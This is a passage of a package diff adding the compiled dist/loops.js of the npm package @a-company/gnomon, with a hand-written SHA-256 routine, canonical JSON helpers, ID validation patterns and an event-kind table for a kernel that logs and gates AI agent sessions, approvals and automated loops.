@a-company/gnomon 0.0.0-stage → 8.0.2

package/dist/loops.js

@@ -0,0 +1,4706 @@
+// src/loops/schema.ts
+import { createHash } from "node:crypto";
+
+// ../gnomon-contracts/dist/index.js
+function isPlainObject2(v) {
+  return typeof v === "object" && v !== null && !Array.isArray(v);
+}
+var ISO_DATE_TIME2 = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(\.\d+)?(Z|[+-]\d{2}:\d{2})$/;
+var SHA256_TAGGED = /^sha256:[0-9a-f]{64}$/;
+function utf8(s) {
+  const out = [];
+  for (let i = 0; i < s.length; i++) {
+    let c = s.charCodeAt(i);
+    if (c >= 55296 && c <= 56319 && i + 1 < s.length) {
+      const d = s.charCodeAt(i + 1);
+      if (d >= 56320 && d <= 57343) {
+        c = 65536 + (c - 55296 << 10) + (d - 56320);
+        i++;
+      } else c = 65533;
+    } else if (c >= 55296 && c <= 57343) c = 65533;
+    if (c < 128) out.push(c);
+    else if (c < 2048) out.push(192 | c >> 6, 128 | c & 63);
+    else if (c < 65536) out.push(224 | c >> 12, 128 | c >> 6 & 63, 128 | c & 63);
+    else out.push(240 | c >> 18, 128 | c >> 12 & 63, 128 | c >> 6 & 63, 128 | c & 63);
+  }
+  return Uint8Array.from(out);
+}
+var K = Uint32Array.from([
+  1116352408,
+  1899447441,
+  3049323471,
+  3921009573,
+  961987163,
+  1508970993,
+  2453635748,
+  2870763221,
+  3624381080,
+  310598401,
+  607225278,
+  1426881987,
+  1925078388,
+  2162078206,
+  2614888103,
+  3248222580,
+  3835390401,
+  4022224774,
+  264347078,
+  604807628,
+  770255983,
+  1249150122,
+  1555081692,
+  1996064986,
+  2554220882,
+  2821834349,
+  2952996808,
+  3210313671,
+  3336571891,
+  3584528711,
+  113926993,
+  338241895,
+  666307205,
+  773529912,
+  1294757372,
+  1396182291,
+  1695183700,
+  1986661051,
+  2177026350,
+  2456956037,
+  2730485921,
+  2820302411,
+  3259730800,
+  3345764771,
+  3516065817,
+  3600352804,
+  4094571909,
+  275423344,
+  430227734,
+  506948616,
+  659060556,
+  883997877,
+  958139571,
+  1322822218,
+  1537002063,
+  1747873779,
+  1955562222,
+  2024104815,
+  2227730452,
+  2361852424,
+  2428436474,
+  2756734187,
+  3204031479,
+  3329325298
+]);
+function sha256(input) {
+  const msg = typeof input === "string" ? utf8(input) : input;
+  const bitLen = msg.length * 8;
+  const padded = new Uint8Array(msg.length + 9 + 63 >> 6 << 6);
+  padded.set(msg);
+  padded[msg.length] = 128;
+  const dv = new DataView(padded.buffer);
+  dv.setUint32(padded.length - 8, Math.floor(bitLen / 4294967296));
+  dv.setUint32(padded.length - 4, bitLen >>> 0);
+  const H = Uint32Array.from([
+    1779033703,
+    3144134277,
+    1013904242,
+    2773480762,
+    1359893119,
+    2600822924,
+    528734635,
+    1541459225
+  ]);
+  const W = new Uint32Array(64);
+  const rotr = (x, n) => x >>> n | x << 32 - n;
+  for (let off = 0; off < padded.length; off += 64) {
+    for (let i = 0; i < 16; i++) W[i] = dv.getUint32(off + i * 4);
+    for (let i = 16; i < 64; i++) {
+      const w15 = W[i - 15];
+      const w2 = W[i - 2];
+      const s0 = rotr(w15, 7) ^ rotr(w15, 18) ^ w15 >>> 3;
+      const s1 = rotr(w2, 17) ^ rotr(w2, 19) ^ w2 >>> 10;
+      W[i] = W[i - 16] + s0 + W[i - 7] + s1 >>> 0;
+    }
+    let [a, b, c, d, e, f, g, h] = [H[0], H[1], H[2], H[3], H[4], H[5], H[6], H[7]];
+    for (let i = 0; i < 64; i++) {
+      const S1 = rotr(e, 6) ^ rotr(e, 11) ^ rotr(e, 25);
+      const ch = e & f ^ ~e & g;
+      const t1 = h + S1 + ch + K[i] + W[i] >>> 0;
+      const S0 = rotr(a, 2) ^ rotr(a, 13) ^ rotr(a, 22);
+      const maj = a & b ^ a & c ^ b & c;
+      const t2 = S0 + maj >>> 0;
+      h = g;
+      g = f;
+      f = e;
+      e = d + t1 >>> 0;
+      d = c;
+      c = b;
+      b = a;
+      a = t1 + t2 >>> 0;
+    }
+    H[0] = H[0] + a >>> 0;
+    H[1] = H[1] + b >>> 0;
+    H[2] = H[2] + c >>> 0;
+    H[3] = H[3] + d >>> 0;
+    H[4] = H[4] + e >>> 0;
+    H[5] = H[5] + f >>> 0;
+    H[6] = H[6] + g >>> 0;
+    H[7] = H[7] + h >>> 0;
+  }
+  const out = new Uint8Array(32);
+  const odv = new DataView(out.buffer);
+  for (let i = 0; i < 8; i++) odv.setUint32(i * 4, H[i]);
+  return out;
+}
+function hex(bytes) {
+  let s = "";
+  for (const b of bytes) s += b.toString(16).padStart(2, "0");
+  return s;
+}
+function sha256Tagged(input) {
+  return `sha256:${hex(sha256(input))}`;
+}
+function canonicalJson(value) {
+  if (value === null) return "null";
+  if (typeof value === "string" || typeof value === "boolean") return JSON.stringify(value);
+  if (typeof value === "number") {
+    if (!Number.isFinite(value)) throw new TypeError("canonicalJson: non-finite number");
+    return JSON.stringify(value);
+  }
+  if (Array.isArray(value)) {
+    return `[${value.map((v) => {
+      if (v === void 0) throw new TypeError("canonicalJson: undefined array member");
+      return canonicalJson(v);
+    }).join(",")}]`;
+  }
+  if (isPlainObject2(value)) {
+    const keys = Object.keys(value).filter((k) => value[k] !== void 0).sort();
+    return `{${keys.map((k) => `${JSON.stringify(k)}:${canonicalJson(value[k])}`).join(",")}}`;
+  }
+  throw new TypeError(`canonicalJson: unsupported ${typeof value}`);
+}
+function deepFreeze(v) {
+  if (v && typeof v === "object" && !Object.isFrozen(v)) {
+    Object.freeze(v);
+    for (const k of Object.keys(v)) deepFreeze(v[k]);
+  }
+  return v;
+}
+var RELEASE_MANIFEST_V1 = "gnomon-release-manifest:v1";
+var RELEASE_ARTIFACT_NAMES = ["gnomon-helper", "gnomon-voice-io"];
+var RELEASE_ARCHES = ["arm64", "x64", "universal"];
+var VOICE_IO_TEAM = "SW4BMQ8PNL";
+var VOICE_IO_IDENTIFIER = "gnomon.voice-io";
+var VOICE_IO_REQUIREMENT = `anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and certificate leaf[field.1.2.840.113635.100.6.1.13] exists and certificate leaf[subject.OU] = "${VOICE_IO_TEAM}" and identifier "${VOICE_IO_IDENTIFIER}"`;
+var RELEASE_VERSION_PATTERN = /^\d+\.\d+\.\d+(-[0-9A-Za-z.-]+)?$/;
+var ARTIFACT_VERSION_PATTERN = /^\d+\.\d+\.\d+$/;
+var SHA256_HEX_PATTERN = /^[0-9a-f]{64}$/;
+var RELEASE_REQUIREMENT_MAX = 1024;
+var RELEASE_ARTIFACTS_MAX = 8;
+var APP_ZIP_ARCHES = ["arm64", "x64"];
+var RELEASE_MANIFEST_V1_KEYS = ["schemaVersion", "release", "artifacts"];
+var RELEASE_APP_ZIP_V1_KEYS = ["arch", "sha256"];
+var RELEASE_ARTIFACT_V1_KEYS = ["name", "version", "sha256", "requirement", "arch"];
+var CAP_SHAPES = Object.freeze(["tall", "wide", "floppy"]);
+var CAP_STATES = Object.freeze(["needs", "working", "idle", "knot"]);
+var CAP_KEYS = Object.freeze(["shape", "hue", "filled", "state", "label"]);
+var ULID_SRC = "[0-7][0-9A-HJKMNP-TV-Z]{25}";
+var B32_26 = "[0-9A-HJKMNP-TV-Z]{26}";
+var ULID_MAX_TIME = 2 ** 48 - 1;
+var ID_PREFIXES = {
+  ev: "ev:",
+  log: "log:",
+  conn: "conn:",
+  card: "card:",
+  arm: "arm:",
+  permit: "permit:v1:",
+  brief: "brief:",
+  msg: "msg:",
+  ds: "ds:",
+  /** the Desk (TD-2026-10-20-812): one offer.shown row and the decision on it */
+  offer: "offer:"
+};
+var ID_PATTERNS = Object.fromEntries(
+  Object.entries(ID_PREFIXES).map(([k, p]) => [k, new RegExp(`^${p}${ULID_SRC}$`)])
+);
+var HSID_V1_PATTERN = new RegExp(`^hsid:v1:${ULID_SRC}$`);
+var HSID_V1D_PATTERN = new RegExp(`^hsid:v1d:${B32_26}$`);
+var HSID_PATTERN = new RegExp(`^hsid:(v1:${ULID_SRC}|v1d:${B32_26})$`);
+var TURN_ID_PATTERN = new RegExp(`^turn:(hsid:(?:v1:${ULID_SRC}|v1d:${B32_26}))/([1-9][0-9]*)$`);
+var KEY_ID_PATTERN = /^(gkey|gkey-p256|gkey-x25519):v1:[0-9a-f]{64}$/;
+var REPO_SCOPE_PATTERN = /^repo:[0-9a-f]{16}$/;
+var CONTRACT_ID_PATTERN = /^contract:v1:[0-9a-f]{64}$/;
+var PRINCIPAL_KINDS = ["human", "agent", "session", "kernel", "mod", "voice", "peer"];
+var ANY_PRINCIPAL_PATTERN = /^p:[0-9a-hjkmnp-tv-z]{8}\/[a-z0-9][a-z0-9._-]{0,63}(@[0-9a-f]{8})?$/;
+var DEVICE_ID_PATTERN = /^dev:[0-9a-hjkmnp-tv-z]{8}\/[A-Za-z0-9][A-Za-z0-9._-]{0,63}$/;
+var IDENTITY_RESERVED_VALUES = Object.freeze({
+  "M1.1:P8-D58": Object.freeze({ grant: ["grant.voice-approvals"], capability: ["voice.approve:<class>"] }),
+  "M1.1:P8-R9": Object.freeze({ principalKind: ["peer"], registry: ["link"], grant: ["grant.peer"], capability: ["link:send"] })
+});
+var KERNEL_REF_SCHEMES = [
+  "ev",
+  "hsid",
+  "cc",
+  "gkey",
+  "dev",
+  "permit",
+  "card",
+  "contract",
+  "node",
+  "pev",
+  "peer",
+  "turn"
+];
+var PACKAGE_REF_SCHEMES = ["spec", "sym", "wl", "n", "s", "td", "l", "t", "knot", "doodle"];
+var REF_SCHEMES = [...KERNEL_REF_SCHEMES, ...PACKAGE_REF_SCHEMES];
+var REF_V1_JSON_PATTERN = `^(${REF_SCHEMES.join("|")}):[^\\s]+$`;
+var CLAUDE_MODEL_ALIASES = Object.freeze(["default", "opus", "sonnet", "haiku", "fable", "opusplan", "opus[1m]", "sonnet[1m]"]);
+var PUBLISHER_PATTERN = /^[a-z0-9](?:[a-z0-9]|-(?=[a-z0-9])){0,38}$/;
+var MOD_NAME_PATTERN = /^[a-z](?:[a-z0-9]|-(?=[a-z0-9])){0,23}$/;
+var MOD_ID_PATTERN = /^[a-z0-9](?:[a-z0-9]|-(?=[a-z0-9])){0,38}\.[a-z](?:[a-z0-9]|-(?=[a-z0-9])){0,23}$/;
+var MOD_ID_LIMITS = Object.freeze({ publisher: 39, name: 24, id: 60 });
+var MOD_ID_MAX = MOD_ID_LIMITS.id;
+var RESERVED_PUBLISHERS = Object.freeze([
+  "gnomon",
+  "local",
+  "kernel",
+  "system",
+  "paradigm",
+  "claude",
+  "anthropic",
+  "admin",
+  "root",
+  "first-party",
+  "mod",
+  "mods",
+  "modns",
+  "desk",
+  "mcp",
+  "core",
+  "builtin",
+  "human",
+  "user"
+]);
+var WINDOWS_DEVICE_NAMES = Object.freeze([
+  "con",
+  "prn",
+  "aux",
+  "nul",
+  ...Array.from({ length: 10 }, (_, i) => `com${i}`),
+  ...Array.from({ length: 10 }, (_, i) => `lpt${i}`)
+]);
+var FIRST_PARTY_MOD_NAMES = Object.freeze(["workshop", "ledger", "paradigm-context", "neurons", "constellation"]);
+var FOUNDER_BRANDS = Object.freeze({
+  ascend42: Object.freeze({ githubOwner: "ascend42" }),
+  "a-company": null,
+  warpline: null,
+  nevr: null,
+  nevrland: null,
+  conductor: null
+});
+var FIRST_PARTY_DISPLAY_NAMES = Object.freeze([...FIRST_PARTY_MOD_NAMES, "gnomon", "paradigm", "claude", "anthropic"]);
+var MOD_REFUSAL_ROUTES = Object.freeze({
+  FORMAT: Object.freeze({ code: "UNSUPPORTED", gate: "usage" }),
+  ENGINE: Object.freeze({ code: "UNSUPPORTED", gate: "usage" }),
+  PUBLISHER: Object.freeze({ code: "FORBIDDEN", gate: "trust" }),
+  COLLISION: Object.freeze({ code: "BAD_REQUEST", gate: "usage" })
+});
+var MOD_REFUSAL_CODES = Object.freeze(Object.keys(MOD_REFUSAL_ROUTES));
+var MANIFEST_FORMAT = Object.freeze({ current: 2, accepted: Object.freeze([1, 2]) });
+var MCP_SERVER_NAME_MAX = 28;
+var QUALIFIED_TOOL_NAME_MAX = 64;
+var GIT_COMMIT_PATTERN = /^[0-9a-f]{40}$/;
+var OFFER_PHASES = ["diverge", "synthesize", "commit"];
+var OFFER_DECISIONS = ["open", "not-now", "stop-here"];
+var OFFER_SUPPRESS_REASONS = ["no-block", "turn-streaming", "pending-card", "not-offerable", "kind-undeclared", "malformed"];
+var OFFER_SUPPRESS_UNNAMED = Object.freeze(["no-block", "malformed"]);
+var OFFER_REACHES = ["mcp"];
+var CONTEXT_SOURCES = ["recent-messages", "open-files", "repo-path", "selection", "session-summary"];
+var OFFERS_PER_MOD_MAX = 6;
+var OFFER_LIMITS = Object.freeze({ title: 60, summary: 200, restraint: 200, contextIn: 8, related: 6 });
+var OFFER_QUESTION_MAX = 240;
+var OFFER_BLOCK_MAX = 1024;
+var OFFER_TEXT_MAX = 262144;
+var OFFER_TOKEN_PATTERN = /^[a-z][a-z0-9-]{0,63}$/;
+var OFFER_TOOL_PATTERN = /^[A-Za-z][A-Za-z0-9_-]{0,63}$/;
+var MARK_PILE = new RegExp("\\p{M}{4}", "u");
+var OFFER_TITLE_SCHEMA_PATTERN = '^[^<>"`]*$';
+var OFFER_SPEC_V1_KEYS = ["kind", "phase", "title", "summary", "contextIn", "resultOut", "reach", "handoffTool", "related", "restraint"];
+var OFFER_BLOCK_KEYS = ["mod", "kind", "question"];
+var AUDIENCES = ["private", "team", "org"];
+var SENSITIVITIES = ["normal", "sensitive", "secret"];
+var INJECT_ORIGINS = ["kernel", "client", "peer"];
+var SESSION_TAINTS = ["none", "peer", "peer-teammate"];
+var APPROVAL_SUSPECT_REASONS = [
+  "voice-unarmed",
+  "voice-unenrolled",
+  "voice-no-readback",
+  "voice-echo-overlap",
+  "voice-custody-client",
+  "strictness-class"
+];
+var D58 = "M1.1:P8-D58";
+var R9 = "M1.1:P8-R9";
+var D86 = "M1.1:P8-D86-D88";
+var D89 = "M1.4:P8-D89";
+var D98 = "8.0:P8-D98";
+var PREFIX_RULES = "8.0:TD-2026-10-20-294";
+var EDIT_RULES = "8.0:TD-2026-10-23-939";
+var RULES_VIEW = "8.0:rules-view";
+var STANDING = "8.0:TD-2026-10-20-086";
+var MODEL_SWITCH = "8.0:model-switch";
+var DESK = "8.0:TD-2026-10-20-812";
+var OFFER_SUPPRESS = "8.0:T-2026-10-21-006";
+var REREVIEW = "8.0:T-2026-10-21-008";
+var SESSION_RENAME = "8.0:session-rename";
+var LOOPS = "8.0:loops";
+var GIT_VERB_TAG = "8.0:git-verbs";
+var TABLE = [
+  // daemon.anchor.lag{rows, which, bootPrev?, bootNow?}: research 33 S33-07 (P8-D82) — keystore anchor lag > 1023 on open
+  // (which: 'keystore'); P8-D85 — file-anchor lag > 63 relaxed across a boot change (which: 'file', with the
+  // keystore anchor's recorded boot as bootPrev and this boot as bootNow; additive).
+  // daemon.log.gap{lostFrom, lostTo, lostHash, bootPrev, bootNow, fileLag}: research 33 S33-10 (P8-D83) — presence-gated
+  // acknowledgement of rows lost to an unclean reboot (keystore anchor ahead of the db, boot session changed);
+  // fileLag (S34-24, P8-D85, additive) = rows the file anchor lagged the db by at open (0 if ahead or exact).
+  // daemon.anchor.failed{seq, kind}: research 33 S34-02 (P8-D83) — a critical row whose anchoring failed after COMMIT;
+  // projections treat that seq as not having taken effect.
+  ["daemon", "kernel", "start exit lock.refused segment reexec anchor.lag log.gap anchor.failed"],
+  // daemon.log.quarantined{quarantinedLog, quarantinedHead{seq, hash, segment}, evidencePath, authorizedBy}: reserved for
+  // T-2026-10-17-009(a) (P8-D89, kernel-signed; not built). evidencePath is a local path: a sensitive FIELD.
+  ["daemon", "kernel", "log.quarantined", D89],
+  // key.token.revoked{tokenId}: the kernel observed a root-signed read-token revocation (M1.4 slice 3, P8-D89 —
+  // revocations stay sticky across restarts by being on the chain).
+  ["key", "kernel", "token.revoked", D89],
+  [
+    "socket",
+    "kernel",
+    "connect disconnect hello auth.ok auth.fail auth.theft auth.replay auth.reconnect.requested web.listen web.bundle.mismatch web.linger web.stop web.transport.exited gui.token.issued gui.session.ended subscription.dropped frame.dropped frame.refused"
+  ],
+  ["key", "kernel", "mint rotate registry.malformed registry.unsigned device.added device.revoked keystore.unavailable"],
+  ["config", "kernel", "loaded unsigned prefs ignored"],
+  [
+    "session",
+    "kernel",
+    "open alias alias.rejected refused spawned inject tainted idle respawn exited orphaned routed sandbox layers.changed"
+  ],
+  // session.compacted{hsid, turn, reason, summaryHash, tokensBefore, tokensAfter}: T-2026-10-18-016 (P8-D93) — a
+  // backend finished compacting the session's context (the local runner's successful compaction_end, §13). Typed
+  // so clients need not parse the raw turn.event line; validated at append (validateSessionCompactedPayload).
+  ["session", "kernel", "compacted"],
+  // P8-D98 (TD-2026-10-19-908, §2.4 rule 11): session.drained{uuid, reason} — the old kernel drained the session to a
+  // turn boundary before an upgrade; the new kernel resumes it. permit.reattributed{permitId, hsid, drainedEventId} —
+  // the kernel-signed row that hands a permit to the resumed session, citing the drained row (never a mint).
+  ["session", "kernel", "drained", D98],
+  ["permit", "kernel", "reattributed", D98],
+  // P8-D98 (TD-2026-10-19-528 F1/F2): approval.rule.revoked{ruleId, repoKey, tool, connId} — a verified human device
+  // revoked a standing `always` rule (rules.revoke). approval.effect.failed{cardId, decision, effect, reason} — a
+  // decided card whose effect could not be applied (never a silent success).
+  ["approval", "kernel", "rule.revoked effect.failed", D98],
+  // 8.0:rules-view (Aegis M2/L2): approval.rule.disabled{ruleId, repoKey, tool, until, batch, connId} — the human turned a
+  // standing always rule off (until an ISO time on the kernel clock, ≤ RULE_OFF_MAX_MS ahead, or null = until turned
+  // back on); a narrowing, written at once. approval.rule.enabled{ruleId, repoKey, tool, cause, batch?, connId?, cardId?,
+  // until?} — cause 'human': the batch's ONE strictness card (detail.op 'rules.apply') was allowed with fresh presence;
+  // cause 'expired': the kernel's sweep saw the off time pass (the feed shows it). Enabled only clears a disabled flag
+  // on a STANDING rule: it never creates a rule and never undoes a revoke.
+  ["approval", "kernel", "rule.disabled rule.enabled", RULES_VIEW],
+  // TD-2026-10-20-086 F6: grant.standing{grantId, cardId, tuples, repos, device, expiresAt, by} — minted by ONE root-class
+  // `grant` card; grant.standing.used{grantId, cardId, tuple, decision, repo, hsid} — the notify row of each use
+  // (beside approval.decide{presence:'standing:<grantId>'}); grant.standing.revoked{grantId, by, reason} — a tighten,
+  // no presence. request.grant.standing{tuples, repos} / request.grant.standing.revoke{grantId}: the human's asks.
+  ["grant", "kernel", "standing standing.used standing.revoked", STANDING],
+  ["request", "kernel", "grant.standing grant.standing.revoke", STANDING],
+  // T-2026-10-20-007: approval.auto.miss{hsid, tool, why, inputHash, modeRef} — the supervisor's read-only pass refused
+  // under auto-edits/ask, written before the card (a sensitive kind: why and inputHash are sensitive fields).
+  ["approval", "kernel", "auto.miss", STANDING],
+  // Aegis M1 (TD-2026-10-20-086 F5): approval.unlock.joined{connId, scope:'device'} — a new connection of the same GUI
+  // device first used the device's cached unlock (the GUI feed says "another Gnomon window joined your unlock").
+  ["approval", "kernel", "unlock.joined", STANDING],
+  // model switch (probe p-set-model): request.session.model{hsid, model} — the human's ask, written by the kernel on a
+  // first-party human connection; session.model{hsid, from, to, permitId, outcome} — what the switch did (closed).
+  ["request", "kernel", "session.model", MODEL_SWITCH],
+  ["session", "kernel", "model", MODEL_SWITCH],
+  // the Desk (TD-2026-10-20-812, O1 two-step accept): offer.shown{offerId, hsid, mod, kind, phase, title, contextIn,
+  // question, replyTurnId} (title and contextIn copied by the kernel from the manifest offer spec) — the kernel parsed one ```offer block (offerBlockOf) naming an installed mod's declared offer;
+  // offer.decided{offerId, hsid, decision} — the human's open | not-now | stop-here; offer.kept{offerId, hsid, mod, tool}
+  // — the opened offer's handoff tool ran (kept/shown is the A6 metric). request.offer.decide{offerId, decision},
+  // request.offer.mute{mod, scope:'repo', hsid, muted} (A3; S0b: the human names the session, the kernel derives the
+  // repo), request.mod.install{source:'git'|'folder', url|path, commit?} (A8; commit = 40 hex, git only): the human's
+  // asks, written by the kernel on a first-party human connection (like request.session.model). offer.muted{mod, repo,
+  // muted, hsid} — the kernel-written result of a mute: the repo scope it derived from the live session (S0b).
+  // `mod` is a mod id <publisher>.<name> (S0b) everywhere in the Desk kinds.
+  ["offer", "kernel", "shown decided kept muted", DESK],
+  // T-2026-10-21-006: offer.suppressed{hsid, turn, why, name?, offerKind?} — a completed main-chain reply the #offer-router
+  // evaluated showed no offer, and why (OFFER_SUPPRESS_REASONS). Ids and names only, never message text; at most one per
+  // completed turn (no-block only while the session has an offerable mod).
+  ["offer", "kernel", "suppressed", OFFER_SUPPRESS],
+  // T-2026-10-21-008 (re-review M-2): offer.retired{offerId, hsid, why} — a shown, undecided offer stopped standing (why
+  // in OFFER_RETIRE_REASONS: 'continued' = the reply it answered continued, a Stop-hook continuation). Ids only.
+  ["offer", "kernel", "retired", REREVIEW],
+  // T-2026-10-21-008 (re-review M-1): session.anomaly{hsid, why} — the supervisor saw a stream shape it does not expect
+  // (why in SESSION_ANOMALY_REASONS: 'result-without-turn' = a result with no outstanding turn). Names only, never text.
+  ["session", "kernel", "anomaly", REREVIEW],
+  // the session rename (8.0:session-rename): request.session.rename{hsid, name} — the human's ask, written by the kernel on
+  // a first-party human connection (like request.session.model); session.renamed{hsid, name} — the display name the
+  // kernel set ('' = back to the derived title). The name is DISPLAY TEXT (normalizeSessionName, the §4.5 sanitizer),
+  // never a capability: nothing routes, grants or permits by it.
+  ["request", "kernel", "session.rename", SESSION_RENAME],
+  ["session", "kernel", "renamed", SESSION_RENAME],
+  ["request", "kernel", "offer.decide offer.mute mod.install", DESK],
+  // the context meter (TD-2026-10-20-812): session.context.threshold{hsid, usedTokens, windowTokens, ratio} — a Paradigm
+  // session crossed the meter's threshold (Claude checkpoints, then the human is ASKED); request.session.restart{hsid,
+  // checkpointRef?} — the human's yes: restart the session fresh and recover from the checkpoint (never auto-compact).
+  ["session", "kernel", "context.threshold", DESK],
+  ["request", "kernel", "session.restart", DESK],
+  ["turn", "kernel", "sent event usage result partial steer ask-user plan"],
+  // §9.1 lists permit/budget as one row; split by the names the spec uses
+  // elsewhere (permit.grant §3.3 S1, budget.usage §3.3 S3).
+  ["permit", "kernel", "reserve grant deny release"],
+  ["budget", "kernel", "usage ladder pause resume breaker.open breaker.close compute window"],
+  ["billing", "kernel", "api.card.requested api.active api.ended api.refused"],
+  ["approval", "kernel", "request decide unlock unlock.dropped presence.denied expire rule.learned suspect"],
+  [
+    "approval",
+    "kernel",
+    "voice.arm voice.disarm voice.intent voice.held voice.withdrawn voice.refused voice.policy.narrowed voice.handle.rotated",
+    D58
+  ],
+  ["request", "kernel", "grant voice.arm voice.narrow", D58],
+  ["request", "kernel", "brief.send cowork.allow link.revoke", R9],
+  // §3.4 strictness and run modes (P8-D86–D88): broker-only, kernel-signed (B11).
+  ["approval", "kernel", "strictness.raised strictness.proposed strictness.lowered strictness.held mode.set auto", D86],
+  ["request", "kernel", "strictness.set mode.set incident", D86],
+  [
+    "link",
+    "kernel",
+    "pair.offered paired renewed revoked expired connect disconnect auth.fail frame.refused paused rate relay.unreachable msg.in msg.out brief.drafted brief.sent brief.received brief.accepted brief.declined brief.expired declassified scan.hit egress.refused",
+    R9
+  ],
+  ["manifest", "kernel", "load refuse widened generate staged installed uninstall"],
+  ["schedule", "kernel", "due dropped tend.start tend.end automation.due"],
+  ["model", "kernel", "capabilities probe repair fallback.requested fallback.decided"],
+  [
+    "mod",
+    "kernel",
+    "installed rolled-back health effect.refused view.rendered stopped sandbox linked snapshot.refused paused repinned dev.expired unlinked"
+  ],
+  [
+    "voice",
+    "userland",
+    "session.start turn.user turn.agent deck focus tts.filtered bargein session.end share enrol forget"
+  ],
+  ["contract", "kernel", "registered claim claimed released built knot progress"],
+  // §7.3 review convergence (P8-D86–D88).
+  ["contract", "kernel", "review.returned review.capped review.extended review.restarted", D86],
+  ["oracle", "kernel", "run result"],
+  ["warpline", "kernel", "pick admit knot resolve selvage.moved"],
+  ["merge", "kernel", "tree conflict ci landed"],
+  // §3.4 kernel-observed strictness signals (P8-D86–D88).
+  ["merge", "kernel", "reverted ref.rewritten", D86],
+  ["gate-class", "kernel", "detected decided"],
+  ["inject", "userland", "receipt"],
+  ["paradigm", "userland", "doodle.exported event"],
+  ["detector", "userland", "event"],
+  ["loop", "userland", "open row closed"],
+  ["loop", "kernel", "paused"],
+  ["tend", "userland", "digest proposal.fate teacher.drafted"],
+  ["decay", "userland", "writeback"],
+  ["calibration", "userland", "contested reviewer"],
+  ["verdict", "kernel", "founder"],
+  ["verdict", "kernel", "incident", D86],
+  ["liveness", "kernel", "violation digest.consumed"],
+  ["flow", "userland", "event"],
+  ["neurons", "userland", "event"],
+  // Standalone kernel-owned kinds named in §3.2 L5 and §5.
+  ["blob", "kernel", "pruned"],
+  ["digest", "kernel", "consumed"],
+  // ── 8.0:loops (docs/specs/gnomon-loops.md §3–§5) — loop entries live in THIS tail block only ──────────────────
+  // Kernel-written by #loop-registry / #loop-runner / #loop-events, folded only from kernel-signed rows (LL6). The
+  // runner's per-round ledger row is `loop.round` (kernel-owned), NOT `loop.row`: `loop.row|open|closed` stay the
+  // userland #learning-loop ledger (gnomon.md §5 namespace ownership, A17-3), which a granted principal may append,
+  // so a runner fold over loop.row could be fed forged rows. `loop.paused` (above) stays the one kernel pause row.
+  //   loop.trusted / loop.untrusted        a loop-trust card's decision / a revoke (§3.1)
+  //   loop.closure.changed                 a human commit changed the config closure; the loop keeps running (§3.1)
+  //   loop.run.started / loop.node / loop.round / loop.run.ended   the run ledger (§4)
+  //   loop.notified                        a notify node's toast or loop-choice card (§2)
+  //   loop.proposed                        an act diff went to a card instead of landing (§3.3 L2, §3.4)
+  //   loop.landed / loop.land.waiting / loop.parked                 the land step (§3.2)
+  //   loop.trigger.fired                   a schedule, event or continuous trigger fired (§4 #loop-events)
+  //   loop.deleted / loop.resumed          a delete; a resume after any pause (the fold's pause → idle edge)
+  ["loop", "kernel", "trusted untrusted closure.changed run.started node round notified proposed landed land.waiting parked run.ended trigger.fired deleted resumed budget.tightened", LOOPS],
+  // The human's asks (§5 "Human ops"; the named request.* exception, gnomon.md §5): pause{all:true} is the kill switch.
+  ["request", "kernel", "loop.trust loop.untrust loop.pause loop.resume loop.run loop.delete loop.budget", LOOPS],
+  // The agent's ask (§5): a userland kind bound in the paradigm grant; the kernel pre-gates it (build step 12).
+  ["loop", "userland", "request", LOOPS],
+  // 8.0:git-verbs (T-2026-10-23-002): git.verb{hsid, verb, phase, inputHash, why?, cardId?, host?, exitCode?} — a
+  // kernel-run git verb a session asked for through the kernel's own MCP server (gnomon_git_init / gnomon_git_push /
+  // gnomon_repo_create): `requested` before any card or effect, then exactly one of `refused` (why), `ran` or `failed`
+  // (exitCode). Never a URL, path, token or command output: the host is the kernel-resolved remote host only.
+  ["git", "kernel", "verb", GIT_VERB_TAG]
+];
+var SENSITIVE_KINDS = {
+  "session.inject": "sensitive",
+  "turn.event": "sensitive",
+  "voice.turn.user": "sensitive",
+  "voice.turn.agent": "sensitive",
+  // "voiceprints secret (§14.4)": the enrol row is the one that carries the print reference.
+  "voice.enrol": "secret",
+  // T-2026-10-20-007: why the read-only pass refused names command structure (paths, words)
+  "approval.auto.miss": "sensitive",
+  // 8.0:git-verbs: the remote host and the verb's input digest are project detail
+  "git.verb": "sensitive"
+};
+var FIELD_LABELS = {
+  "approval.request": { tool_input: "sensitive" },
+  "oracle.result": { evidence: "sensitive" },
+  "voice.turn.user": { audioRef: "sensitive" },
+  // Aegis round 3 (P8-D86–D88): a worktree path and a commit trailer can carry
+  // project or agent-written detail; the rows stay private + normal.
+  "approval.auto": { path: "sensitive", inputHash: "sensitive", anchoredInputHash: "sensitive" },
+  "approval.auto.miss": { why: "sensitive", inputHash: "sensitive" },
+  // TD-2026-10-23-939 follow-up: a file rule's path is project detail, like approval.auto's
+  "approval.rule.learned": { path: "sensitive" },
+  // 8.0:session-rename: a session name is the human's own words (it may echo the conversation): a limited reader never gets it
+  "request.session.rename": { name: "sensitive" },
+  "session.renamed": { name: "sensitive" },
+  "merge.reverted": { trailer: "sensitive" },
+  // M1.4 slice 2 round 3 (Aegis): digests of sensitive or low-entropy content are
+  // confirmation oracles for a dictionary guess, so a limited reader never gets them.
+  "turn.sent": { contentHash: "sensitive" },
+  // digest of the prompt content
+  "approval.voice.arm": { phrasesHash: "sensitive" },
+  // digest of short spoken phrases
+  "approval.voice.intent": { handleHash: "sensitive", challengeHash: "sensitive" },
+  // short voice handles/challenges (§14.7)
+  "link.msg.out": { hash: "sensitive" },
+  // digest of a message body sent to a peer
+  "inject.receipt": { shas: "sensitive", source_hash: "sensitive", frozenSliceHash: "sensitive" },
+  // digests of model-visible bytes
+  "daemon.log.quarantined": { evidencePath: "sensitive" },
+  // a local filesystem path (P8-D89)
+  "session.compacted": { summaryHash: "sensitive" },
+  // digest of model-written summary text (P8-D93)
+  // ── 8.0:loops: check/model evidence is repo output (may carry secrets), as oracle.result's evidence; landed and
+  // proposed paths name project detail, as approval.auto's path (gnomon-loops.md §4 "Evidence")
+  "loop.node": { evidence: "sensitive", evidenceRef: "sensitive" },
+  "loop.landed": { paths: "sensitive" },
+  "loop.proposed": { paths: "sensitive" },
+  // build step 12 (Aegis): the agent's loop.request row names its repo by path; the path is project detail
+  "loop.request": { repo: "sensitive" }
+};
+function build() {
+  const out = {};
+  for (const [ns, owner, kinds, reserved] of TABLE) {
+    for (const k of kinds.split(/\s+/)) {
+      const kind = `${ns}.${k}`;
